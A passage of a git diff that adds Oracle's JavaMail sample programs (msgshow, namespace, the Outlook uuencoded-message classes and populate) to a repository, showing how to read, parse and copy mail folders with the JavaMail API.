folder.getMessages(); + + // Use a suitable FetchProfile + FetchProfile fp = new FetchProfile(); + fp.add(FetchProfile.Item.ENVELOPE); + fp.add(FetchProfile.Item.FLAGS); + fp.add("X-Mailer"); + folder.fetch(msgs, fp); + + for (int i = 0; i < msgs.length; i++) { + System.out.println("--------------------------"); + System.out.println("MESSAGE #" + (i + 1) + ":"); + dumpEnvelope(msgs[i]); + // dumpPart(msgs[i]); + } + } else { + while (optind < argv.length) { + int msgnum = Integer.parseInt(argv[optind++]); + System.out.println("Getting message number: " + msgnum); + Message m = null; + + try { + m = folder.getMessage(msgnum); + dumpPart(m); + } catch (IndexOutOfBoundsException iex) { + System.out.println("Message number out of range"); + } + } + } + + folder.close(false); + store.close(); + } catch (Exception ex) { + System.out.println("Oops, got exception! " + ex.getMessage()); + ex.printStackTrace(); + System.exit(1); + } + System.exit(0); + } + + public static void dumpPart(Part p) throws Exception { + if (p instanceof Message) + dumpEnvelope((Message)p); + + /** Dump input stream .. + + InputStream is = p.getInputStream(); + // If "is" is not already buffered, wrap a BufferedInputStream + // around it. + if (!(is instanceof BufferedInputStream)) + is = new BufferedInputStream(is); + int c; + while ((c = is.read()) != -1) + System.out.write(c); + + **/ + + String ct = p.getContentType(); + try { + pr("CONTENT-TYPE: " + (new ContentType(ct)).toString()); + } catch (ParseException pex) { + pr("BAD CONTENT-TYPE: " + ct); + } + String filename = p.getFileName(); + if (filename != null) + pr("FILENAME: " + filename); + + /* + * Using isMimeType to determine the content type avoids + * fetching the actual content data until we need it. + */ + if (p.isMimeType("text/plain")) { + pr("This is plain text"); + pr("---------------------------"); + if (!showStructure && !saveAttachments) + System.out.println((String)p.getContent()); + } else if (p.isMimeType("multipart/*")) { + pr("This is a Multipart"); + pr("---------------------------"); + Multipart mp = (Multipart)p.getContent(); + level++; + int count = mp.getCount(); + for (int i = 0; i < count; i++) + dumpPart(mp.getBodyPart(i)); + level--; + } else if (p.isMimeType("message/rfc822")) { + pr("This is a Nested Message"); + pr("---------------------------"); + level++; + dumpPart((Part)p.getContent()); + level--; + } else { + if (!showStructure && !saveAttachments) { + /* + * If we actually want to see the data, and it's not a + * MIME type we know, fetch it and check its Java type. + */ + Object o = p.getContent(); + if (o instanceof String) { + pr("This is a string"); + pr("---------------------------"); + System.out.println((String)o); + } else if (o instanceof InputStream) { + pr("This is just an input stream"); + pr("---------------------------"); + InputStream is = (InputStream)o; + int c; + while ((c = is.read()) != -1) + System.out.write(c); + } else { + pr("This is an unknown type"); + pr("---------------------------"); + pr(o.toString()); + } + } else { + // just a separator + pr("---------------------------"); + } + } + + /* + * If we're saving attachments, write out anything that + * looks like an attachment into an appropriately named + * file. Don't overwrite existing files to prevent + * mistakes. + */ + if (saveAttachments && level != 0 && p instanceof MimeBodyPart && + !p.isMimeType("multipart/*")) { + String disp = p.getDisposition(); + // many mailers don't include a Content-Disposition + if (disp == null || disp.equalsIgnoreCase(Part.ATTACHMENT)) { + if (filename == null) + filename = "Attachment" + attnum++; + pr("Saving attachment to file " + filename); + try { + File f = new File(filename); + if (f.exists()) + // XXX - could try a series of names + throw new IOException("file exists"); + ((MimeBodyPart)p).saveFile(f); + } catch (IOException ex) { + pr("Failed to save attachment: " + ex); + } + pr("---------------------------"); + } + } + } + + public static void dumpEnvelope(Message m) throws Exception { + pr("This is the message envelope"); + pr("---------------------------"); + Address[] a; + // FROM + if ((a = m.getFrom()) != null) { + for (int j = 0; j < a.length; j++) + pr("FROM: " + a[j].toString()); + } + + // REPLY TO + if ((a = m.getReplyTo()) != null) { + for (int j = 0; j < a.length; j++) + pr("REPLY TO: " + a[j].toString()); + } + + // TO + if ((a = m.getRecipients(Message.RecipientType.TO)) != null) { + for (int j = 0; j < a.length; j++) { + pr("TO: " + a[j].toString()); + InternetAddress ia = (InternetAddress)a[j]; + if (ia.isGroup()) { + InternetAddress[] aa = ia.getGroup(false); + for (int k = 0; k < aa.length; k++) + pr(" GROUP: " + aa[k].toString()); + } + } + } + + // SUBJECT + pr("SUBJECT: " + m.getSubject()); + + // DATE + Date d = m.getSentDate(); + pr("SendDate: " + + (d != null ? d.toString() : "UNKNOWN")); + + // FLAGS + Flags flags = m.getFlags(); + StringBuffer sb = new StringBuffer(); + Flags.Flag[] sf = flags.getSystemFlags(); // get the system flags + + boolean first = true; + for (int i = 0; i < sf.length; i++) { + String s; + Flags.Flag f = sf[i]; + if (f == Flags.Flag.ANSWERED) + s = "\\Answered"; + else if (f == Flags.Flag.DELETED) + s = "\\Deleted"; + else if (f == Flags.Flag.DRAFT) + s = "\\Draft"; + else if (f == Flags.Flag.FLAGGED) + s = "\\Flagged"; + else if (f == Flags.Flag.RECENT) + s = "\\Recent"; + else if (f == Flags.Flag.SEEN) + s = "\\Seen"; + else + continue; // skip it + if (first) + first = false; + else + sb.append(' '); + sb.append(s); + } + + String[] uf = flags.getUserFlags(); // get the user flag strings + for (int i = 0; i < uf.length; i++) { + if (first) + first = false; + else + sb.append(' '); + sb.append(uf[i]); + } + pr("FLAGS: " + sb.toString()); + + // X-MAILER + String[] hdrs = m.getHeader("X-Mailer"); + if (hdrs != null) + pr("X-Mailer: " + hdrs[0]); + else + pr("X-Mailer NOT available"); + } + + static String indentStr = " "; + static int level = 0; + + /** + * Print a, possibly indented, string. + */ + public static void pr(String s) { + if (showStructure) + System.out.print(indentStr.substring(0, level * 2)); + System.out.println(s); + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/namespace.java b/src/Java/Jars/javamail-samples/javamail-samples/namespace.java new file mode 100644 index 0000000..3b16d30 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/namespace.java @@ -0,0 +1,152 @@ +/* + * Copyright (c) 1997-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.util.*; +import java.io.*; +import javax.mail.*; + +/* + * Demo app that exercises the namespace interfaces. + * Show the namespaces supported by a store. + * + * @author Bill Shannon + */ + +public class namespace { + + static String protocol; + static String host = null; + static String user = null; + static String password = null; + static String url = null; + static int port = -1; + static boolean debug = false; + static String suser = "other"; + + public static void main(String argv[]) { + int msgnum = -1; + int optind; + + for (optind = 0; optind < argv.length; optind++) { + if (argv[optind].equals("-T")) { + protocol = argv[++optind]; + } else if (argv[optind].equals("-H")) { + host = argv[++optind]; + } else if (argv[optind].equals("-U")) { + user = argv[++optind]; + } else if (argv[optind].equals("-P")) { + password = argv[++optind]; + } else if (argv[optind].equals("-D")) { + debug = true; + } else if (argv[optind].equals("-L")) { + url = argv[++optind]; + } else if (argv[optind].equals("-p")) { + port = Integer.parseInt(argv[++optind]); + } else if (argv[optind].equals("-u")) { + suser = argv[++optind]; + } else if (argv[optind].equals("--")) { + optind++; + break; + } else if (argv[optind].startsWith("-")) { + System.out.println( +"Usage: namespace [-L url] [-T protocol] [-H host] [-p port] [-U user]"); + System.out.println( +"\t[-P password] [-u other-user] [-D]"); + System.exit(1); + } else { + break; + } + } + + try { + // Get a Properties object + Properties props = System.getProperties(); + + // Get a Session object + Session session = Session.getInstance(props, null); + session.setDebug(debug); + + // Get a Store object + Store store = null; + if (url != null) { + URLName urln = new URLName(url); + store = session.getStore(urln); + store.connect(); + } else { + if (protocol != null) + store = session.getStore(protocol); + else + store = session.getStore(); + + // Connect + if (host != null || user != null || password != null) + store.connect(host, port, user, password); + else + store.connect(); + } + + printFolders("Personal", store.getPersonalNamespaces()); + printFolders("User \"" + suser + "\"", + store.getUserNamespaces(suser)); + printFolders("Shared", store.getSharedNamespaces()); + + store.close(); + } catch (Exception ex) { + System.out.println("Oops, got exception! " + ex.getMessage()); + ex.printStackTrace(); + } + System.exit(0); + } + + private static void printFolders(String name, Folder[] folders) + throws MessagingException { + System.out.println(name + " Namespace:"); + if (folders == null || folders.length == 0) { + System.out.println(" "); + return; + } + for (int i = 0; i < folders.length; i++) { + String fn = folders[i].getFullName(); + if (fn.length() == 0) + fn = ""; + try { + System.out.println(" " + fn + + ", delimiter \"" + folders[i].getSeparator() + "\""); + Folder[] fl = folders[i].list(); + if (fl.length > 0) { + System.out.println(" Subfolders:"); + for (int j = 0; j < fl.length; j++) + System.out.println(" " + fl[j].getFullName()); + } + } catch (FolderNotFoundException ex) { } + } + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/outlook/MSBodyPart.java b/src/Java/Jars/javamail-samples/javamail-samples/outlook/MSBodyPart.java new file mode 100644 index 0000000..faa1d46 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/outlook/MSBodyPart.java @@ -0,0 +1,122 @@ +/* + * Copyright (c) 1997-2011 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.io.*; +import javax.activation.*; +import javax.mail.*; +import javax.mail.internet.*; + +/** + * A special MimeBodyPart used with MSMessage. + * + * @author John Mani + * @author Bill Shannon + */ +public class MSBodyPart extends MimeBodyPart { + private int start; + private int end; + private String type = UNKNOWN; + private String disposition; + private String encoding; + private String filename = UNKNOWN; + + private static final String UNKNOWN = "UNKNOWN"; + + public MSBodyPart(byte[] content, int start, int end, + String disposition, String encoding) { + this.content = content; + this.start = start; + this.end = end; + this.disposition = disposition; + this.encoding = encoding; + } + + public String getContentType() throws MessagingException { + // try to figure this out from the filename extension + if (type == UNKNOWN) + processBegin(); + return type; + } + + public String getEncoding() throws MessagingException { + return encoding; + } + + public String getDisposition() throws MessagingException { + return disposition; + } + + public String getFileName() throws MessagingException { + // get filename from the "begin" line + if (filename == UNKNOWN) + processBegin(); + return filename; + } + + protected InputStream getContentStream() { + return new ByteArrayInputStream(content, start, end - start); + } + + /** + * Process the "begin" line to extract the filename, + * and from it determine the Content-Type. + */ + private void processBegin() { + InputStream in = getContentStream(); + try { + BufferedReader r = new BufferedReader(new InputStreamReader(in)); + String begin = r.readLine(); + // format is "begin 666 filename.txt" + if (begin != null && begin.regionMatches(true, 0, "begin ", 0, 6)) { + int i = begin.indexOf(' ', 6); + if (i > 0) { + filename = begin.substring(i + 1); + FileTypeMap map = FileTypeMap.getDefaultFileTypeMap(); + type = map.getContentType(filename); + if (type == null) + type = "application/octet-stream"; + } + } + } catch (IOException ex) { + // ignore + } finally { + try { + in.close(); + } catch (IOException ex) { + // ignore it + } + if (filename == UNKNOWN) + filename = null; + if (type == UNKNOWN || type == null) + type = "text/plain"; + } + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/outlook/MSMessage.java b/src/Java/Jars/javamail-samples/javamail-samples/outlook/MSMessage.java new file mode 100644 index 0000000..e0e03e9 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/outlook/MSMessage.java @@ -0,0 +1,231 @@ +/* + * Copyright (c) 1997-2011 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.io.*; +import javax.mail.*; +import javax.mail.internet.*; +import javax.activation.*; + +/** + * This class models a UUEncoded Message sent from MS Outlook etc.

+ * + * The message structure looks like this := + * [text body] [uuencoded attachment]* + *

+ * i.e., an optional text/plain main-body, followed by zero or more + * UUENCODE-ed attachments. + * + * @author John Mani + * @author Bill Shannon + * @see javax.mail.internet.MimeMessage + */ + +public class MSMessage extends MimeMessage { + private String type; + + /** + * Constructor that converts a MimeMessage object into a MSMessage. + * + * @exception MessagingException if the given MimeMessage + * is not a non-MIME MS message, or if an + * IOException occurs when accessing the given + * MimeMessage object + */ + public MSMessage(Session session, MimeMessage msg) + throws MessagingException { + super(session); + + if (!isMSMessage(msg)) // sanity check + throw new MessagingException("Not an MS message"); + + class FastByteArrayOutputStream extends ByteArrayOutputStream { + ByteArrayInputStream toByteArrayInputStream() { + return new ByteArrayInputStream(buf, 0, count); + } + } + + // extract the bytes of the given message + // ByteArrayOutputStream bos = new ByteArrayOutputStream(); + FastByteArrayOutputStream bos = new FastByteArrayOutputStream(); + try { + msg.writeTo(bos); + } catch (IOException ioex) { + throw new MessagingException("IOException", ioex); + } catch (Exception ex) { + throw new MessagingException("Exception", ex); + } + //parse(new ByteArrayInputStream(bos.toByteArray())); + parse(bos.toByteArrayInputStream()); + } + + /** + * Constructor to create a MSMessage from the given InputStream. + */ + public MSMessage(Session session, InputStream is) + throws MessagingException { + super(session); // setup headerstore etc + parse(is); + } + + // parse input stream + protected void parse(InputStream is) throws MessagingException { + // Create a buffered input stream for efficiency + if (!(is instanceof ByteArrayInputStream) && + !(is instanceof BufferedInputStream)) + is = new BufferedInputStream(is); + + // Load headerstore + headers.load(is); + + /* + * Load the content into a byte[]. + * This byte[] is shared among the bodyparts. + */ + try { + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + int b; + // XXX - room for performance improvement + while ((b = is.read()) != -1) + bos.write(b); + content = bos.toByteArray(); + } catch (IOException ioex) { + throw new MessagingException("IOException", ioex); + } + + /* + * Check whether this is multipart. + */ + boolean isMulti = false; + // check for presence of X-MS-Attachment header + String[] att = getHeader("X-MS-Attachment"); + if (att != null && att.length > 0) + isMulti = true; + else { + /* + * Fall back to scanning the content. + * We scan the content until we find a sequence that looks + * like the start of a uuencoded block, i.e., "begin". + * If found, we claim that this is a multipart message. + */ + for (int i = 0; i < content.length; i++) { + int b = content[i] & 0xff; // mask higher byte + if (b == '\r' || b == '\n') { + // start of a new line + if ((i + 5) < content.length) { + // can there be a "begin" now? + String s = toString(content, i+1, i+6); + if (s.equalsIgnoreCase("begin")) { + isMulti= true; + break; + } + } + } + } + } + + if (isMulti) { + type = "multipart/mixed"; + dh = new DataHandler(new MSMultipartDataSource(this, content)); + } else { + type = "text/plain"; // charset = ? + dh = new DataHandler(new MimePartDataSource(this)); + } + + modified = false; + } + + /** + * Return content-type + */ + public String getContentType() throws MessagingException { + return type; + } + + /** + * Return content-disposition + */ + public String getDisposition() throws MessagingException { + return "inline"; + } + + /** + * Return content-transfer-encoding + */ + public String getEncoding() throws MessagingException { + return "7bit"; + } + + /** + * Check whether the given MimeMessage object represents a + * non-MIME message sent by Outlook. Such a message will + * have no MIME-Version header, may have an X-Mailer header + * that includes the word "Microsoft", and will have at least + * one X-MS-Attachment header. + */ + public static boolean isMSMessage(MimeMessage msg) + throws MessagingException { + // Check whether the MIME header is present + if (msg.getHeader("MIME-Version") != null) + // MIME-Version header present, should be a MIME message + return false; + + /* + * XXX - disabled X-Mailer check because many sample messages + * I saw didn't have an X-Mailer header at all. + */ + if (false) { + // Check X-Mailer + String mailer = msg.getHeader("X-mailer", null); + if (mailer == null) // No X-mailer ? + return false; // Oh well ! + if (mailer.indexOf("Microsoft") == -1) // Not MS stuff ? + return false; + } + + // Check X-MS-Attachment header + // XXX - not all such messages have this header + String[] att = msg.getHeader("X-MS-Attachment"); + if (att == null || att.length == 0) + return false; + + return true; + } + + // convert given byte array of ASCII characters to string + static String toString(byte[] b, int start, int end) { + int size = end - start; + char[] theChars = new char[size]; + + for (int i = 0, j = start; i < size; ) + theChars[i++] = (char)b[j++]; + return new String(theChars); + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/outlook/MSMultipartDataSource.java b/src/Java/Jars/javamail-samples/javamail-samples/outlook/MSMultipartDataSource.java new file mode 100644 index 0000000..9788e19 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/outlook/MSMultipartDataSource.java @@ -0,0 +1,126 @@ +/* + * Copyright (c) 1997-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.util.*; +import javax.mail.*; +import javax.mail.internet.*; + +/** + * A special MultipartDataSource used with MSMessage. + * + * @author John Mani + * @author Bill Shannon + */ +public class MSMultipartDataSource extends MimePartDataSource + implements MultipartDataSource { + //private List parts; + private List parts; + + public MSMultipartDataSource(MimePart part, byte[] content) + throws MessagingException { + super(part); + //parts = new ArrayList(); + parts = new ArrayList(); + + /* + * Parse the text of the message to find the attachments. + * + * Currently we just look for the lines that mark the + * begin and end of uuencoded data, but this can be + * fooled by similar text in the message body. Instead, + * we could use the Encoding header, which indicates how + * many lines are in each body part. For example: + * + * Encoding: 41 TEXT, 38 UUENCODE, 3155 UUENCODE, 1096 UUENCODE + * + * Similarly, we could get the filenames of the attachments + * from the X-MS-Attachment headers. For example: + * + * X-MS-Attachment: ATT00000.htx 0 00-00-1980 00:00 + * X-MS-Attachment: Serengeti 2GG.mpp 0 00-00-1980 00:00 + * X-MS-Attachment: project team update 031298.doc 0 00-00-1980 00:00 + * + * (Note that there might be unquoted spaces in the filename.) + */ + int pos = startsWith(content, 0, "begin"); + if (pos == -1) + throw new MessagingException("invalid multipart"); + + if (pos > 0) // we have an unencoded main body part + parts.add(new MSBodyPart(content, 0, pos, "inline", "7bit")); + else // no main body part + pos = 0; + + // now collect all the uuencoded individual body parts + int start; + for (;;) { + start = startsWith(content, pos, "begin"); + if (start == -1) + break; + pos = startsWith(content, start, "end"); + if (pos == -1) + break; + pos += 3; // skip to the end of "end" + parts.add(new MSBodyPart(content, start, pos, + "attachment", "uuencode")); + } + } + + public int getCount() { + return parts.size(); + } + + public BodyPart getBodyPart(int index) throws MessagingException { + return (BodyPart)parts.get(index); + } + + /** + * This method scans the given byte[], beginning at "start", for + * lines that begin with the sequence "seq". If found, the start + * position of the sequence within the byte[] is returned. + */ + private int startsWith(byte[] content, int start, String seq) { + int slen = seq.length(); + boolean bol = true; + for (int i = start; i < content.length; i++) { + if (bol) { + if ((i + slen) < content.length) { + String s = MSMessage.toString(content, i, i + slen); + if (s.equalsIgnoreCase(seq)) + return i; + } + } + int b = content[i] & 0xff; + bol = b == '\r' || b == '\n'; + } + return -1; + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/outlook/README.txt b/src/Java/Jars/javamail-samples/javamail-samples/outlook/README.txt new file mode 100644 index 0000000..36cdea5 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/outlook/README.txt @@ -0,0 +1,9 @@ +The classes in this directory allow processing old style non-MIME +messages created by Microsoft Outlook. Use them like this: + + if (MSMessage.isMSMessage(msg)) + msg = new MSMessage(session, msg); + +Note that these classes are not particularly efficient or optimized, +but they show how to process these non-MIME messages and make them +look like MIME messages. diff --git a/src/Java/Jars/javamail-samples/javamail-samples/populate.java b/src/Java/Jars/javamail-samples/javamail-samples/populate.java new file mode 100644 index 0000000..0969eb2 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/populate.java @@ -0,0 +1,252 @@ +/* + * Copyright (c) 1997-2016 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import javax.mail.*; +import javax.mail.internet.*; + +/* + * Copy folder hierarchies between different Stores. This is a useful + * utility to populate new (and possibly empty) mail stores. Specify + * both the source and destination folders as URLs. + * + * @author John Mani + * @author Bill Shannon + */ + +public class populate { + + static boolean force = false; + static boolean skipSpecial = false; + static boolean clear = false; + static boolean dontPreserveFlags = false; + static boolean warn = false; + + public static void main(String argv[]) { + String srcURL = null; + String dstURL = null; + boolean debug = false; + + int optind; + + for (optind = 0; optind < argv.length; optind++) { + if (argv[optind].equals("-s")) { + srcURL = argv[++optind]; + } else if (argv[optind].equals("-d")) { + dstURL = argv[++optind]; + } else if (argv[optind].equals("-D")) { + debug = true; + } else if (argv[optind].equals("-f")) { + force = true; + } else if (argv[optind].equals("-S")) { + skipSpecial = true; + } else if (argv[optind].equals("-c")) { + clear = true; + } else if (argv[optind].equals("-P")) { + dontPreserveFlags = true; + } else if (argv[optind].equals("-W")) { + warn = true; + } else if (argv[optind].equals("--")) { + optind++; + break; + } else if (argv[optind].startsWith("-")) { + printUsage(); + System.exit(1); + } else { + break; + } + } + + try { + + if (srcURL == null || dstURL == null) { + printUsage(); + System.exit(1); + } + + Session session = Session.getInstance( + System.getProperties(), null); + session.setDebug(debug); + + // Get source folder + URLName srcURLName = new URLName(srcURL); + Folder srcFolder; + // Check if the source URL has a folder specified. If + // not, we use the default folder + if (srcURLName.getFile() == null) { + Store s = session.getStore(srcURLName); + s.connect(); + srcFolder = s.getDefaultFolder(); + } else { + srcFolder = session.getFolder(new URLName(srcURL)); + if (!srcFolder.exists()) { + System.out.println("source folder does not exist"); + srcFolder.getStore().close(); + System.exit(1); + } + } + + // Set up destination folder + URLName dstURLName = new URLName(dstURL); + Folder dstFolder; + // Check if the destination URL has a folder specified. If + // not, we use the source folder name + if (dstURLName.getFile() == null) { + Store s = session.getStore(dstURLName); + s.connect(); + dstFolder = s.getFolder(srcFolder.getName()); + } else + dstFolder = session.getFolder(dstURLName); + + if (clear && dstFolder.exists()) { + if (!dstFolder.delete(true)) { + System.out.println("couldn't delete " + + dstFolder.getFullName()); + return; + } + } + copy(srcFolder, dstFolder); + + // Close the respective stores. + srcFolder.getStore().close(); + dstFolder.getStore().close(); + + } catch (MessagingException mex) { + System.out.println(mex.getMessage()); + mex.printStackTrace(); + } + } + + private static void copy(Folder src, Folder dst) + throws MessagingException { + System.out.println("Populating " + dst.getFullName()); + + Folder ddst = dst; + Folder[] srcFolders = null; + if ((src.getType() & Folder.HOLDS_FOLDERS) != 0) + srcFolders = src.list(); + boolean srcHasChildren = srcFolders != null && srcFolders.length > 0; + + if (!dst.exists()) { + // Create it. + boolean dstHoldsOnlyFolders = false; + if (!dst.create(src.getType())) { + // might not be able to create a folder that holds both + if (!dst.create(srcHasChildren ? Folder.HOLDS_FOLDERS : + Folder.HOLDS_MESSAGES)) { + // might only be able to create one type (Gmail) + if (!dst.create(Folder.HOLDS_MESSAGES)) { + System.out.println("couldn't create " + + dst.getFullName()); + return; + } + } + dstHoldsOnlyFolders = srcHasChildren; + } + + // Copy over any messges from src to dst + if ((src.getType() & Folder.HOLDS_MESSAGES) != 0) { + src.open(Folder.READ_ONLY); + if (dstHoldsOnlyFolders) { + if (src.getMessageCount() > 0) { + System.out.println("Unable to copy messages from " + + src.getFullName() + " to " + dst.getFullName() + + " because destination holds only folders"); + } + } else + copyMessages(src, dst); + src.close(false); + } + } else { + System.out.println(dst.getFullName() + " already exists"); + // Copy over any messges from src to dst + if (force && (src.getType() & Folder.HOLDS_MESSAGES) != 0) { + src.open(Folder.READ_ONLY); + copyMessages(src, dst); + src.close(false); + } + } + + // Copy over subfolders + if (srcHasChildren) { + for (int i = 0; i < srcFolders.length; i++) { + // skip special directories? + if (skipSpecial) { + if (srcFolders[i].getName().equals("SCCS") || + srcFolders[i].getName().equals("Drafts") || + srcFolders[i].getName().equals("Trash") || + srcFolders[i].getName().equals("Shared Folders")) + continue; + } + copy(srcFolders[i], dst.getFolder(srcFolders[i].getName())); + } + } + } + + /** + * Copy 